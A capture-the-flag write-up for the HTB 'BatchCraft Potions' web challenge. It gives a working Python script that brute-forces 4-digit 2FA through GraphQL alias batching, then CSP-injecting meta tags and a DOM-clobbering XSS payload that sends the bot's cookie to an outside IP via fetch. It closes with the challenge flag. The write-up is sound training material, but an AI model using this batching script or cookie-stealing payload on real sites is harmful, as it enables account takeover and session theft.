BatchCraft Potions
A web challenge ranked “medium” in the HTB university CTF
Challenge description:
Compared to the easy web challenge this one gave us a lot more trouble, we bypassed the 2fa in about 2h/3h hours then got stuck from friday ~7pm to sunday ~14pm.
Initial recon
We perform a pentest in a white box environment and have access to a nodejs website.
The web server in use is express, we can access the app via an nginx reverse proxy wich ratelimit some endpoint.
The database is a mysql (mariadb) database and it is sometimes using graphql.
It is using JWT for authentication.
It has the following routes:
/graphql
for managing authentication and 2fa/
website root shown below/products/:id
to view approved productid
/login
login page/2fa
2fa page/dashboard
to view custom potions (must be logged-in)/api/products/add
to add custom potions/products/preview/:id
to view productid
/logout
website root:
Bypassing 2fa
The challenge description gives us some credentials vendor53:PotionsFTW!
and state that in order to proceed to further exploits, we need to bypass the 2fa in place.
login page:
2fa page:
Intercepting the 2fa request in burp, we can a observe a POST request being made to /graphql
I also notice the following line in the source code which indicate that 2fa code, are 4 numbers long (instead of what ? 6 by default ?):
challenge/helpers/OTPHelper.js
1authenticator.options = { digits: 4 };
My brain instantly brings me back this portswigger academy exercise and we started trying some payload (multiples variables with different code etc…).
The response was always the same:
So we dig a deep further and find out about this blog post.
We tried all of json batching payload (modified for our need, and adapting on each error) and eventually got a functionning payload for multi 2fa try in a single request (we are being rate limited by nginx so we can’t just spam request):
payload: (“variables” field is useless btw, just forgot it):
result:
We can now try multiples 2fa codes in a single request (about 1k) and thus can bruteforce the 10k possible codes in about 10sec.
Here’s the script we used to get an authenticated cookie every time we would need one (ty AlaĆ«):
1import requests, re
2
3s = requests.session()
4host = '134.209.186.13:31234'
5url = f'http://{host}/graphql'
6
7# getting an initial JWT
8r = s.post(url,
9 json={
10 "query":"mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }",
11 "variables": {"username":"vendor53","password":"PotionsFTW!"}
12 }
13)
14
15# trying out every 2fa codes
16for indexTen in range(10):
17 # crafting payload
18 payload = 'mutation { '
19 rangerNumber = indexTen * 1000;
20 for index in range(rangerNumber, rangerNumber + 1000):
21 payload += f'assetnote{index}: verify2FA (otp: "{index}")' + '{ message, token } '
22 payload += '}'
23
24 # testing 1k 2fa code
25 r = s.post(url,
26 json={
27 "query": payload,
28 }
29 )
30
31 # checking if one of our 2fa code was right
32 if 'Set-Cookie' in r.headers:
33 print(re.findall(r'session=(.+?);', r.headers['Set-Cookie'])[0])
34 break
We now have a JWT we can use as a session cookie to get access to all website functionalities !
Privileged user recon
/dashboard:
/dashboard (but adding product functionality):
We can then see our added product in the dashboard
When adding a potion, via the /api/products/add
endpoint, it is going to:
- Verify that our input are in the required format (a string, a number between X and Y etc…).
- Pass the product description we gave him to DOMPurify, filtering out everything but some html tags (removing <script> obviously).
- Add the potion to the database.
- Call the
previewProduct
function which will visit/products/preview/:id
(our new potion) with a version 99.0.4844.84 chromium browser, the flag is set inside his session cookie.
Intial idea
So the path is clear, do an XSS.
The product description, keywords, meta-title and meta-description are all rendered as HTML but are being passed to DOMpurify before getting render.
(we are allowed name
, content
, property
and http-equiv
as meta attribute)
BUT
We suck at web.
We tried quite a few things wich (when looking back at it) didnt work out for OBVIOUS reasons, here’s some of them (feel free to skip them by clicking here):
ps: everything that follows are burp payloads.
Meta open redirect
We could inject meta tag using the meta fields when adding a product and trigger an open redirect via a page refresh.
1"product_keywords":"\"><meta content=\"0;url=http://example.com\" HTTP-EQUIV=\"refresh",
Bypass DOMpurify
I don’t know how many hours we tried this but probably too much, it’s made to be secure (kinda) and is implemented securely.
Browser exploit
It’s chrome 99, few month old, there may have been some vulnerabilities we could exploit (there “wasn’t” but we had an open redirect so it was worth the try)
ps: a vulnerability this chrome version may be vulnerable to surfaced a day before the CTF started, but there was nothing disclosed yet.
Open redirect to data URL
On a website you can type javascript on the top navigation bar like this: Well obviously it was disable a long time ago (2017 for firefox) but since we had an open redirect we did try
iframe cookie stealing
Since we had an open redirect, we could maybe redirect it to a domain we control, add an iframe and access the iframe cookie š¤”
Well obviously it didnt work because it’s not the same origin but we did thought it could work by adding an allow origin meta tag or other CSP (it’s not possible, it must share the domain, and even with the same domain, you can’t access the iframe cookie from the parent)
Talking about CSP we did find something quite intresting which was useful for our final payload though
This payload:
1`"product_keywords":"\"><meta http-equiv=\"Content-Security-Policy\" content=\"script-src http://localhost:1337 'unsafe-inline'",
would get filtered out by DOMpurify (the content part will be stripped away) because of the unquotted 2nd argument in content (http://localhost:1337), but we can bypass this restriction by adding a quote as a source like this:
1"product_keywords":"\"><meta http-equiv=\"Content-Security-Policy\" content=\"script-src ' http://localhost:1337 ' 'unsafe-inline'",
It does trigger an error in the browser console but the CSP is working.
DOM clobbering XSS
I would never have find this because i didnt know it was possible at all.
When requesting /products/preview/:id
(bot with the flag as a cookie will visit this page every time you upload a potion) it will do a server side render of product.html
, inserting our filtered meta tags and product description
product.html
also contains the following lines wich will make the client fetch some javascript files.
The script product.js
is using a global variable potionTypes
from global.js
to render the potion category and image.
product.js:
global.js (extract):
Since we control meta tags, as described above, we can cancel the load of global.js
with the following payload
1"product_keywords":"\" /><meta content=\"script-src ' http://localhost:1337/static/js/product.js http://localhost:1337/static/js/jquery.min.js '\" http-equiv=\"Content-Security-Policy",
Which results with chrome crying out in despair (product.js
will try to use a variable called potionTypes
which does not exist since it wasn’t declared anywhere)
We can now create (in the description field), an image tag:
- With potionType as a
name
so the global variable potionType is actually our html <img> (i still can’t beleive it’s possible) - With a numerical
id
(product.js
if
condition (in thefor
loop) needs to be true (category checked server side when uploading a new potion), elseid
could have been set topotionType
) - With src as our js payload (see below)
(we also need another html tag with an id
/name
as potionType so it’s an array and not directly the html object)
If our src equals to:
'/onerror=alert(1)//
It will look like this in product.js
1<img src=''/onerror="alert(1)//'" class='category-img'>
(// is for commenting the quote that will follow)
And it gets render like this in the DOM
Combining everything, we get the following payload:
1{
2 "product_name":"blabla",
3 "product_desc":"<img id=10 name=potionTypes src=\"'/onerror=alert(1)//'\" /><b id=potionTypes>",
4 "product_price":"25",
5 "product_category":"10",
6 "product_keywords":"\" /><meta content=\"script-src ' http://127.0.0.1:1337/static/js/product.js http://127.0.0.1:1337/static/js/jquery.min.js ' 'unsafe-inline'\" http-equiv=\"Content-Security-Policy",
7 "product_og_title":"2",
8 "product_og_desc":"3"
9}
Browsing to the new uploaded product…
Boom, the xss is triggered, we now just need to extract the cookie.
(we need to modify csp port because the bot will browse from :80)
Final payload:
1{
2 "product_name":"blabla",
3 "product_desc":"<img id=10 name=potionTypes src=\"'/onerror=fetch('http://IP/'+document.cookie)//'\" /><b id=potionTypes>",
4 "product_price":"25",
5 "product_category":"10",
6 "product_keywords":"\" /><meta content=\"script-src ' http://127.0.0.1/static/js/product.js http://127.0.0.1/static/js/jquery.min.js ' 'unsafe-inline'\" http-equiv=\"Content-Security-Policy",
7 "product_og_title":"2",
8 "product_og_desc":"3"
9}
Now we need to listen on the specified IP to receive the JWT with the flag on it
Receiving the JWT:
Decoding the jwt:
HTB{b4tch3d_p0710n5_4nd_m3t4_m4g1c}
I learned a lot in this challenge, thanks !
ps: ty to Othmane (owalid), Alaƫ (Tarzan), Arnaud (LightDiscord) and many other who helped on this challenge !